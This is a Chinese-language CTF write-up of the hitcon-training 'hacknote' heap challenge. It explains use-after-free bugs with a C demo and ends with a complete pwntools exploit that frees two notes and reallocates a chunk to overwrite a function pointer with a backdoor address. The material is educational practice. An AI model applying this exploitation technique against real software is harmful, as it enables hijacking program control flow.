Use After Free

无聊没事写写pwn堆吧

题目:https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/use_after_free/hitcon-training-hacknote

UAF原理

uaf是堆题的最常见的一种,也是生活中最常见的一种,上c语言的时候老师讲的都是处理完堆直接free()没有将ptr清0,这就导致了UAF,被释放后没有被设置为NULL的内存指针,为dangling pointer(悬空指针、悬垂指针)。

内存块被释放后,其对应的指针被设置为NULL,再次使用时程序会崩溃
内存块被释放后,其对应的指针没有被设置为NULL,在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序有可能可以正常运转
内存块被释放后,其对应的指针没有被设置为NULL,但是在下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能出现问题

例子

直接上一个代码吧。(借来了ctf-wiki的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <stdlib.h>
typedef struct name {
char *myname;
void (*func)(char *str);
} NAME;
void myprint(char *str) {
printf("%s\n", str);
}
void printmyname() {
printf("call print my name\n");
}
int main() {
NAME *a;
a = (NAME *)malloc(sizeof(struct name));
a->func = myprint;
a->myname = "I can also use it";
a->func("this is my function");
// free without modify
free(a);
a->func("I can also use it"); //此处注意,free之后程序仍然可以正常运行
// free with modify
a->func = printmyname;
a->func("this is my function");
// set NULL
a = NULL;
printf("this program will crash...\n");
a->func("can not be printed...");
}

libc-2.23.so的版本来搞一下

可以看到free(a);之后还可以继续运行,因为该指针没有清0,里面还有数据,再继续运行到最后,因为指针被清0了,函数被清0,所以程序就会出错

实战

直接下载程序,直接查看保护,可以改got表

分析函数

可以直接看源码,那就直接看吧(隐藏IDA分析菜的事实

add_note

4

只可以5次add,其他也没什么别的直接自动化函数吧

1
2
3
4
def add(size, content):
r.sendlineafter(menu, '1')
r.sendlineafter('Note size :', str(size))
r.sendafter('Content :', content)

del_note

第58行59行free之后没有将指针清0,uaf!!上函数

1
2
3
def delete(index):
r.sendlineafter(menu, '2')
r.sendlineafter('Index :', str(index))

这个没什么说的,理解理解吧,打pwn仔细看代码很重要

1
2
3
def show(index):
r.sendlineafter(menu, '3')
r.sendlineafter('Index :', str(index))

magic

看到这里那这一题不是so easy?

漏洞利用思路

因为有uaf和后门函数,也可以拿shell,但是题目嘛,直接拿flag就行。将后门函数写入content,覆盖print_note_content的地址,从而执行后门函数

编写exp

先创建两个note试试吧。

1
2
add(0x20, 'aaaa\n');
add(0x20, 'bbbb\n');

可以看到00-10是print_note。10-38是content

因为有uaf,所以直接释放

上面一个红框是note0的print_note,下面两个框是note1的print_note,释放之后,note1的print_note的fd指向note0的print_note,而note1的content的fd指向note0的content,看一下bin吧,更清楚

再申请一个小的chunk,构造payload

1
2
payload = p32(magic);
add(0x8, paylaod)

payload之所以这么构造是因为创建了8个字节的空间,可以直接从0x10的fastbin中拿,而创建print_note和content这些指针只要0x10就行了,所以0x804b038给了print_note和content的指针,而content后内容是0x804b008,payload填充到对应的0x804b008这个地址去,magic就会覆盖过去

1
show(0)

0x804867b是print_note_content,直接show(0)就会用print_content,而payload早就填到这里了,所以show(0)就会执行magic

可以直接get_flag了

因为本地没有flag,打远程就行

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

file_name = './z1r0'

debug = 0
if debug:
r = remote()
else:
r = process(file_name)

elf = ELF(file_name)

libc = ELF('./2.23/libc-2.23.so')

menu = 'Your choice :'

def add(size, content):
r.sendlineafter(menu, '1')
r.sendlineafter('Note size :', str(size))
r.sendafter('Content :', content)

def delete(index):
r.sendlineafter(menu, '2')
r.sendlineafter('Index :', str(index))

def show(index):
r.sendlineafter(menu, '3')
r.sendlineafter('Index :', str(index))

def dbg():
gdb.attach(r)

add(0x20, 'aaaa\n')
add(0x20, 'bbbb\n')

delete(0)
delete(1)

magic = 0x08048986
add(0x8, p32(magic))

show(0)

r.interactive()